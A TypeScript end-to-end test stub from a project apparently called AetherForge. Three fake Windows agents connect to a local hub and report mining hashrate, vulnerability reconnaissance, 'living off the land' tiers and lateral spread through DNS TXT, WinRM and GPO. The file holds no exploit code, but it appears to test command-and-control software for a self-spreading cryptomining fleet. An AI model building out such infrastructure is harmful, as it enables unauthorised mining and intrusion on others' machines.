AetherForge/server/web/e2e/discover-spread-stub.ts

/**
 * Stub agents for discover→spread E2E — multi-hop chain acknowledges discover_and_join
 * and propagates join_lane stats across egress → seed → leaf hops.
 */
import type { APIRequestContext } from '@playwright/test';
import { fetchFleetSecret, waitForServerHealth } from './fixtures';

export type DiscoverSpreadHop = {
  id: string;
  hostname: string;
  joinLane: string;
  joinLabel: string;
  hopIndex: number;
};

/** Three-hop discover→spread chain: egress discovers, seed WinRM, leaf GPO. */
export const E2E_DISCOVER_CHAIN_HOPS: readonly DiscoverSpreadHop[] = [
  {
    id: 'e2e-discover-hop0',
    hostname: 'E2E-Hop0-Egress',
    joinLane: 'dns_txt',
    joinLabel: 'DNS TXT',
    hopIndex: 0,
  },
  {
    id: 'e2e-discover-hop1',
    hostname: 'E2E-Hop1-Seed',
    joinLane: 'winrm',
    joinLabel: 'WinRM',
    hopIndex: 1,
  },
  {
    id: 'e2e-discover-hop2',
    hostname: 'E2E-Hop2-Leaf',
    joinLane: 'gpo',
    joinLabel: 'GPO',
    hopIndex: 2,
  },
] as const;

/** Back-compat aliases for single-hop tests. */
export const E2E_DISCOVER_AGENT_ID = E2E_DISCOVER_CHAIN_HOPS[0].id;
export const E2E_DISCOVER_AGENT_HOSTNAME = E2E_DISCOVER_CHAIN_HOPS[0].hostname;
export const E2E_DISCOVER_JOIN_LANE = E2E_DISCOVER_CHAIN_HOPS[0].joinLane;
export const E2E_DISCOVER_JOIN_LABEL = E2E_DISCOVER_CHAIN_HOPS[0].joinLabel;

function e2eBaseURL(): string {
  return process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
}
const STATS_INTERVAL_MS = 1_000;

type HubMessage = {
  type: string;
  payload: string | Record<string, unknown>;
};

function parsePayload(payload: HubMessage['payload']): Record<string, unknown> {
  if (typeof payload === 'string') {
    return JSON.parse(payload) as Record<string, unknown>;
  }
  return payload;
}

function wsAgentUrl(baseUrl: string): string {
  const trimmed = baseUrl.replace(/\/$/, '');
  return trimmed.replace(/^http/i, 'ws') + '/ws/agent';
}

function send(ws: WebSocket, type: string, payload: Record<string, unknown>): void {
  ws.send(JSON.stringify({ type, payload }));
}

function sendStubStats(ws: WebSocket, hop: DiscoverSpreadHop, joinLane?: string): void {
  send(ws, 'stats', {
    hashrate_15s: 42 + hop.hopIndex,
    hashrate_1m: 42 + hop.hopIndex,
    hashrate_15m: 42 + hop.hopIndex,
    shares_submitted: 0,
    shares_accepted: 0,
    cpu_usage_pct: 5,
    memory_usage_pct: 40,
    uptime_seconds: 120 + hop.hopIndex * 30,
    active_method: 'inprocess',
    mining_hashrate: 42 + hop.hopIndex,
    lotl_tier: 'inprocess',
    lotl_attempts: [
      { tier: 'vuln_recon', ok: true, duration_ms: 200, phase: 'recon' },
      { tier: hop.joinLane, ok: true, duration_ms: 450 + hop.hopIndex * 100, phase: 'deploy' },
    ],
    spread_route_hint: {
      egress_hop_index: hop.hopIndex,
      join_lane: joinLane ?? hop.joinLane,
      target_subnet: '10.99.0',
    },
    ...(joinLane ? { join_lane: joinLane } : {}),
  });
}

type HopConnection = {
  hop: DiscoverSpreadHop;
  ws: WebSocket;
  statsTimer: ReturnType<typeof setInterval>;
};

const hopConnections = new Map<string, HopConnection>();

function propagateChainJoinLanes(fromHopIndex: number): void {
  for (const conn of hopConnections.values()) {
    if (conn.hop.hopIndex <= fromHopIndex) continue;
    const delayMs = (conn.hop.hopIndex - fromHopIndex) * 600;
    setTimeout(() => {
      if (conn.ws.readyState === WebSocket.OPEN) {
        sendStubStats(conn.ws, conn.hop, conn.hop.joinLane);
      }
    }, delayMs);
  }
}

async function connectDiscoverSpreadHop(
  baseUrl: string,
  fleetSecret: string,
  hop: DiscoverSpreadHop,
): Promise<() => void> {
  const ws = new WebSocket(wsAgentUrl(baseUrl));

  await new Promise<void>((resolve, reject) => {
    const timer = setTimeout(() => reject(new Error(`discover stub ws open timeout (${hop.id})`)), 10_000);
    ws.addEventListener(
      'open',
      () => {
        clearTimeout(timer);
        resolve();
      },
      { once: true },
    );
    ws.addEventListener(
      'error',
      () => {
        clearTimeout(timer);
        reject(new Error(`discover stub ws connection failed (${hop.id})`));
      },
      { once: true },
    );
  });

  send(ws, 'auth', {
    agent_id: hop.id,
    fleet_secret: fleetSecret,
    hostname: hop.hostname,
    version: '1.0.0-e2e',
    platform: 'windows',
    arch: 'amd64',
    cpu_cores: 4,
    memory_gb: 8,
  });

  await new Promise<void>((resolve, reject) => {
    const timer = setTimeout(() => reject(new Error(`discover stub auth timeout (${hop.id})`)), 30_000);
    const onMessage = (ev: MessageEvent) => {
      let msg: HubMessage;
      try {
        msg = JSON.parse(String(ev.data)) as HubMessage;
      } catch {
        return;
      }
      if (msg.type !== 'auth_response') return;
      clearTimeout(timer);
      ws.removeEventListener('message', onMessage);
      const body = parsePayload(msg.payload);
      if (body.success !== true) {
        reject(new Error(`discover stub auth rejected (${hop.id}): ${JSON.stringify(body)}`));
        return;
      }
      resolve();
    };
    ws.addEventListener('message', onMessage);
  });

  sendStubStats(ws, hop);
  const statsTimer = setInterval(() => sendStubStats(ws, hop, hop.joinLane), STATS_INTERVAL_MS);
  hopConnections.set(hop.id, { hop, ws, statsTimer });

  ws.addEventListener('message', (ev) => {
    let msg: HubMessage;
    try {
      msg = JSON.parse(String(ev.data)) as HubMessage;
    } catch {
      return;
    }
    if (msg.type !== 'command') return;
    const payload = parsePayload(msg.payload);
    const action = String(payload.action ?? '');
    const command = String(payload.command ?? '').trim().toLowerCase();

    if (action === 'discover_and_join' || command === 'discover_and_join') {
      if (hop.hopIndex === 0) {
        const chain = E2E_DISCOVER_CHAIN_HOPS.map((h) => h.hostname).join(' → ');
        send(ws, 'command_result', {
          action: 'discover_and_join',
          success: true,
          message: `discover_and_join ok — multi-hop chain ${chain}`,
        });
        sendStubStats(ws, hop, hop.joinLane);
        propagateChainJoinLanes(hop.hopIndex);
        return;
      }
      send(ws, 'command_result', {
        action: 'discover_and_join',
        success: true,
        message: `discover_and_join ok — join_lane=${hop.joinLane}`,
      });
      sendStubStats(ws, hop, hop.joinLane);
      return;
    }

    send(ws, 'command_result', { action, success: true, message: `e2e-discover-stub-ok (${hop.id})` });
  });

  return () => {
    hopConnections.delete(hop.id);
    clearInterval(statsTimer);
    if (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING) {
      ws.close(1000, 'e2e-teardown');
    }
  };
}

let serverReady = false;
const disconnectStubs: Array<() => void> = [];
let connectPromise: Promise<boolean> | null = null;

export async function ensureDiscoverSpreadStub(request: APIRequestContext): Promise<boolean> {
  if (disconnectStubs.length > 0) return serverReady;
  if (!connectPromise) {
    connectPromise = (async () => {
      serverReady = await waitForServerHealth(request);
      if (!serverReady) return false;

      const fleetSecret = await fetchFleetSecret(request);
      const baseURL = e2eBaseURL();
      for (const hop of E2E_DISCOVER_CHAIN_HOPS) {
        const disconnect = await connectDiscoverSpreadHop(baseURL, fleetSecret, hop);
        disconnectStubs.push(disconnect);
      }
      // Allow agent_online, stats_batch (250ms coalesce), and DB upsert to settle.
      await new Promise((r) => setTimeout(r, 4_000));
      return true;
    })();
  }
  return connectPromise;
}

export function isDiscoverSpreadStubReady(): boolean {
  return serverReady;
}

export function teardownDiscoverSpreadStub(): void {
  while (disconnectStubs.length > 0) {
    disconnectStubs.pop()?.();
  }
  hopConnections.clear();
  connectPromise = null;
  serverReady = false;
}